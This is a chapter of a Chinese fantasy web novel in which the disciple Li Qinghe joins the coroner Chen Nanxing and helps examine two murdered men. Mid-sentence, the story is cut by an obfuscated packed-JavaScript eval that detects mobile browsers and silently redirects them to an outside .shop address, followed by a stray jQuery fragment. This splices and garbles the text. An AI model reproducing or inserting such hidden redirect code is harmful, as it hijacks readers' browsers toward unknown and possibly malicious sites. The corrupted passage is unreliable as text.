药宗距离西南千里之远,离清河才不会傻到走路走过去。腾飞在半空中,也并不觉得有趣,路上的风景比不得神谷。
已经过去三个时辰,离清河实在觉得累,前两日神力消耗过多,脑子反应变迟钝。她在西南不远处的村庄歇脚,索性花上几个铜板,坐在别人家的牛车后睡大觉。
“吁——”
牛车旁经过的人不少,见着离清河躺在草堆里,不停地张望。
“姐姐,爷爷说到啦~”胖乎乎的肉球戳了戳少女的脸颊。
离清河虚张着嘴,缓缓坐起身,边伸懒腰边打哈欠。她拍走头顶的杂草,睁开一只眼睛环顾,耳边全是叽叽喳喳的说话声。
她递给小孩儿一串铜钱,下车时还忍不住揉了一把胖小子肉乎乎的大肚皮。
“谢啦,拿去买糖吃!”
老人家慌忙拿过乖孙手里的钱,追上离清河,满脸焦急:“姑娘,你已经给过了!”
离清河笑着推过去:“没事儿,你就拿着吧,多亏你好心捎载,才让我睡了个好觉。”
见对方态度坚决,老人家叹气,道了声谢,默默将铜钱收进袖中,转过头对车上的小孩儿说:“快下来。”
胖小子踩着黏答答的步子跑过来:“姐姐再见!”离清河笑着摇手告别,随后转过身去踏入城门。
“利荣城?”离清河抬头望着城墙挂着的牌匾上几个大字,“别说,人还真的挺多~”
熙熙攘攘地人群挤在城门处,城内小贩的叫卖声越来越响亮,街上的幼童人手一串糖葫芦塞嘴里,大人们待在一旁擦嘴,喊着慢些吃。
“糖葫芦?”离清河记得大师姐外出的时候带回过几串,那味道嘛,她不觉得有多么好吃,甚至还有些黏腻粘牙,甜是甜的味道,酸是酸的味道,还没有瑶池的蟠桃合她口。
离清河耸肩,双手背在身后,大摇大摆地从城门向里走。她从袖间抽出一张纸,翻开确认纸上的住址。
“毗邻东街,尾巷陈家。”
离清河顺着大师姐写的找过去,最终停在一户偏僻的住宅前。她轻敲木门,半晌,门内传来缓慢的脚步声。随着门“吱呀”一声被拉开,才终于看见来人的模样。
长相与师父有几分相似,眉眼间的气质更加凛冽,面色蜡黄,即使遇见陌生人,神色却也始终从容镇定,离清河的视线向下看,老人家的掌心布满了粗茧,数条细小的割口已经结痂。
“阿离对吧?”陈南星前几日已收到堂姊的传信,千叮咛万嘱咐她的这位小徒弟。
离清河眸色一亮,没想到陈南星这么快便认出了她:“陈奶奶好,我是离清河,师父吩咐我来找你。”老人家点头,示意她先进屋。
相比陈玉竹的和蔼可亲,陈南星表现得极为冷淡,这让离清河一时也想不到该怎么拉近关系。
院内空落落,大片荒地袒露在外,微风卷起的黄土窝成旋涡打转,连棵数都没种上,更别提瓜果蔬菜。
进屋后,陈南星端来一杯茶,离清河顺势坐下。“我平日里忙着收尸,若是无事,不必寻我。”
“啊?”离清河放下刚端起的茶杯,“那我需要跟着你学什么?”
陈南星抬眼,语气平和:“我没有收徒的打算。”
离清河猛地站起身,两颊泛红:“为何?师父让我来,不就是跟着你学习医术的吗?”
老人家皱眉,盯着离清河的眼睛,摇头说:“你师父救的是活人,我老婆子治的是死人。”
话音未落,离清河抢着回话,声调高昂:“那又如何?!不论死与活,只要学会了,怎么用,是我自己的选择!”
此言一出,屋内响起一阵轻笑,陈南星倒是好久没遇到这么有趣的人,她揉了揉耳朵,眯眼看向眼前的少女,的确年轻,也的确自信。
她饶有兴致地点头、噘嘴:“行,那就拿出你的诚意来,往后,便跟着我一起收尸吧。”
离清河一脸懵,这老太太怎么一会儿高兴,一会儿严肃的,不过陈南星愿意教,她顿时松了一口气,如此才于师父有个交代了。
离清河嘴角上扬,眼中充满期待:“好!”
翌日
“阿离,起床。”
离清河倦意正浓,根本睁不开眼,她揉了揉眼睛,嘴里呢喃着:“谁啊~”
天空还是墨色,随着鸡鸣声起,边缘线渐渐泛白。
陈南星站在床前,用手使劲扯离清河的衣袖,语气有些冷:“官府派人来转告,城郊有两具尸体需要收殓。”
“尸体?”离清河脑子还是蒙着雾,只觉得陈奶奶的声音隔着一层纱,模糊不清。
陈南星叹气,她昨日就该清楚这丫头的秉性,连神谷都留不住,又怎么可能诚心想学她的手艺。
“你要歇便歇着,玩够了,自个儿回去吧。”
老人家留下一句话后独自离开了,离清河听见“回去”二字惊得从床上跳起来,以最快的速度跟上陈南星。
“陈奶奶!等等我!”离清河嘴里塞了块街边买的包子,她一把拉住陈南星的胳膊,顺手递了个包子过去,“我错了~下次一定立刻动身,你没有生我的气吧?”
陈南星瞥了一眼,没有接过她手中的包子,语气里听不出什么。“给你提个醒儿,最好不要吃早饭。”
“为何?”离清河见对方不吃,自个儿又塞了一个进肚,腮帮子鼓鼓囊囊,“可师父说,一日之计在于晨,饭不能不吃。”
陈南星没再说话,有些事,得亲身经历过才最管用。
清晨的阳光洒下来,暖意从头顶蔓延至全身,天际挂出一片云彩。
利荣城外十几户人家围聚成一处村庄,给了往来做生意的商人们,暂时歇脚的地方。离清河与陈南星赶到时,零零散散的官兵围住一家酒铺。
陈南星走上前,不知说了什么,领头的官兵迅速让周围人开辟道儿来。离清河安静地站在一旁,直到陈南星冲她招手,才跟了上去。
店铺内弥漫着酒水发酵的浓香,五六口土黄的大缸摆在后院中,屋内空间很小,对外只有吧台和一把坏掉的椅子。
陈南星带着离清河来到后院,两名官兵盯着地上的尸体,可算给盼来了收尸人。
还没等离清河靠近,一股强烈的异味涌进鼻腔,胃中瞬间上下翻涌不定,越走近越是难受。
陈南星倒是冷静,不顾一旁官兵厌嫌的表情,靠近尸体,她蹲下身,掀开其中一具盖住的白布。
浮肿泛紫的脸已经看不清五官,眼眶中还有白胖的蛆虫四处攀爬。
嘴里残留的食物,现下已经被虫蚁分食了大半,更令人觉得恶心的,是尸体脖颈上沾着黏糊糊的不明液体,灰白浑浊,始终散发着酸臭味。
离清河终是忍不住,她摸着肚子弯着身体,直接吐在了石板路上:“哕——,陈……哕——”
早饭吃饱后的好心情,全被呕吐带来的生理性泪水给打破,离清河发誓,以后只要收敛尸体,她绝对不会吃一口东西!
陈南星转头看了眼身后之人,从包里拿出一块东西,找准机会塞到离清河嘴里。
“唔!什么?”此举来得措不及防,离清河神色一惊。
“止吐药,咽下去。”陈南星说完后,又重新回到另一具尸体身边,待掀开白布,两具尸体的腐烂程度别无二致。
两名官兵接连后退,其中一个语气十分不好,他问陈南星:“喂,陈仵作,这两具尸体什么时候能验完?衙门姥爷还急着断案呢。”
陈南星眉头紧锁,神情严肃:“可有告知是何案子?”
“打听那么多作甚?!仔细办好你的差事!”
陈南星垂眼没再追问,两名官兵实在受不了尸体的腐臭味,捂着鼻子一脸厌弃地走出去。
院中只剩离她二人,离清河掩住鼻息小心翼翼地走过去,陈南星见状拉开她的手,在她人中处轻轻涂抹了一层冰凉之物。
“这是?”
“薄荷油,除臭。”
离清河点头,觉着周围的空气是变得清新许多,她望向陈南星的头顶,眼神闪动着星光。
“陈奶奶,我们要将尸体运到哪里去?”
离清河跟着蹲下,陈南星见她上一秒还吐得死去活来,下一秒已经能够自如接近尸体,颇为震惊,不过表现出来的只有挑眉:“我家。”
“啊?把尸体运到家中?!那不得臭晕十里地?!”离清河立刻反应过来为何陈南星的院子里空荡荡的,连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894087|212807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
根草都没有了。
陈南星浅笑:“十里地不至于,但院子里的味道定是不好散掉的。”
离清河见她是认真的,硬着头皮帮忙。
官兵拉来两块木板,离清河与陈南星将尸体搬运在板子上,一人拖着一个走回家。若不是怕误伤到附近的凡人,离清河恨不得直接用神力将两具尸体传送过去。
陈南星慢悠悠在后面,离清河拖着尸体,吭哧吭哧走得极快。老人家时不时抬眼瞅瞅,小姑娘人看着娇弱,没成想干活儿还挺利索,一边念叨着嘴角却不自觉翘起。
走了约莫半个时辰,晌午都已经过去了,忙活许久,她们还没吃饭。
将两具尸体依次摆放在院中后,陈南星用药水洗干净手,从灶房拿出留好的一屉肉包。
搬运尸体的过程中,袖间沾染上一些泥,离清河进屋简单洗漱后,顺手换了一件墨绿色衣衫,三师姐给她裁剪的,穿着的确好看。
刚走出门,就看见桌上的肉包,离清河回忆起早上的闻到的味儿,一时间,捂住嘴强行将身体里涌上来的难受压制住。
反观陈南星,许是一大早空着肚子干活,一口气连吃了三个包子。
“阿离,愣着作甚?坐下吃饭。”
“额……那个,我,我不饿,陈奶奶你吃吧!”说罢,离清河抬脚跑了出去,假意围在院子里打转。
陈南星瘪嘴,眉眼弯着,将剩下的肉包收起来,留在灶房。
一盏茶的时间后,陈南星拿出专属于仵作的工具包,她蹲在两具尸体中间,工具包整齐摊开在地上。
离清河按照吩咐关上院外的大门,戴好面罩与手套,辅佐陈南星验尸。
她在旁打下手,陈南星说什么,便在册中一一记录下来。
“第一具男尸,年龄在三十至四十之间。”陈南星打开尸体的嘴巴,用手指撬开牙齿,几只蜈蚣忽而从食道里爬出来,她低下头贴进尸体,仔细闻,“生前饮过酒。”
陈南星顺着面部,搬动尸体的下巴,露出脖颈见清晰的红痕,她从脖子上抹了一点浑浊的粘液,凑近观察。
“口鼻分泌出积液,流淌至颈间,亡者生前可能存在内脏硬化问题。尸斑分布广散,死亡时间不超过半日,脖颈皮下出血严重,最终判断,是由颈部勒拽,所导致的窒息而亡。”
听完陈南星全程有条不紊地判断,离清河第一次认识到仵作的厉害。
一时忘记手上原有的动作。
陈南星半晌没听见动静,一抬头才发现小姑娘迟迟没有下笔。“别愣着,全部写下来。”
“噢噢!”离清河回过神,拿紧手中的笔,认真记录。
第二具也是男尸,情况与上一具尸体相差不大,唯一不同的地方在于他的手部,每根指尖都粗壮无比。
陈南星剪开前胸的布料,拿出小刀在心口处划出一条裂口,暗红色血液凝成血块流出来。
“年龄二十有余,生前患有心疾,五脏六腑存在明显衰竭症状,颈间无皮下血,死亡原因,心口闷气,多为突发噩兆。”
她的目光向下移,来到腿部时,猛然发现一处指甲盖大小的肉坑。
“大腿外侧血块缺失,尸体甲缝中并无相关碎片。”
短短一炷香的时间,陈南星已将两具尸体收殓完毕,离清河的小册子上也记得满满当当。
乍然,陈南星抬头面对离清河,说:“明日再去一次酒铺。”
“为何?”
陈南星并未作答,她朝离清河招手:“阿离,蹲下来。”
离清河虽不理解但仍照做,陈南星将第二具男尸的翻过身来,袒露在外的后背呈现数条裂口,有的已经成为挥之不去的疤痕,还有的,血痂凝固干涸,随着身体的转动,一块一块掉落下来。
“这些伤……”
陈南星视线落在第一具尸体,语气冷峻:“藤条鞭笞,长年累积,还有几处,是死前所添新伤。”
离清河沉默不语,到底犯了何事,死前都还在遭受酷刑?
月白初现,陈南星收拾好东西回屋,离清河站在院子里,只一味盯着地上两具尸体。城外村落的槐树下,一袭黑影隐身深夜,一片清明中露出的双眸,幽暗而沉郁。